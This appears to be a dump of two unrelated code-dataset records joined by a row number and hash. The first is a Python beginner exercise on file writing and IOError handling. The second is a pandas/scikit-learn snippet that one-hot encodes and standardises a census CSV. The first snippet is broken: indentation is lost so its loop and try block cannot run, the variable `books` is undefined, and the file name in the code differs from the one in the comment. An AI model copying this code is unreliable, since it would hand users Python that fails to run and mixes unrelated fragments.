# 1) open the file books.txt for writing, using the variable books_file
# Remove the """ """ to test
books_file = open("book.txt", "w")
# 2) Use a for loop to get a title and author from the user using the range 1, books + 1
# -- get the data from the user in the loop
# -- write the data to the file as a record while in the loop,
# make sure to include the \n at the end of the line
for count in range(1, books + 1):
title = input("Title of the book: ")
author = input("Author of the book: ")
books_file.write("Title: " + title + "\n")
books_file.write("Author: " + author + "\n")
# 3) Close the file
books_file.close()
# TODO 6.4 Exceptions
print("=" * 10, "Section 6.4 exceptions", "=" * 10)
# In this exercise you will try to open a file that does not exist,
# capture the error, and display a custom error message
# 1) Create a try statement
try:
# 2) Open the file superheros.txt for READING (we are not writing, it would create the file)
super = open("superheros.txt", "r")
# 3) Close the file
super.close()
# 4) Create an except IOError, that uses a print statement telling the user that the file doesn't exist
except IOError:
print("That file does not exist")
|
990,199 | df8a5932fa7ff4b7e1ae8ddc8af9f0eae6b9ff87 | import pandas as pd
base = pd.read_csv('census.csv')
previsores = base.iloc[:, 0:14].values
classe = base.iloc[:, 14].values
from sklearn.preprocessing import LabelEncoder, OneHotEncoder
from sklearn.compose import ColumnTransformer
labelencoder_previsores = LabelEncoder()
onehotencorder = ColumnTransformer(transformers=[("OneHot", OneHotEncoder(), [1,3,5,6,7,8,9,13])],remainder='passthrough')
previsores = onehotencorder.fit_transform(previsores).toarray()
labelencorder_classe = LabelEncoder()
classe = labelencorder_classe.fit_transform(classe)
from sklearn.preprocessing import StandardScaler
scaler = StandardScaler()
previsores = scaler.fit_transform(previsores) |
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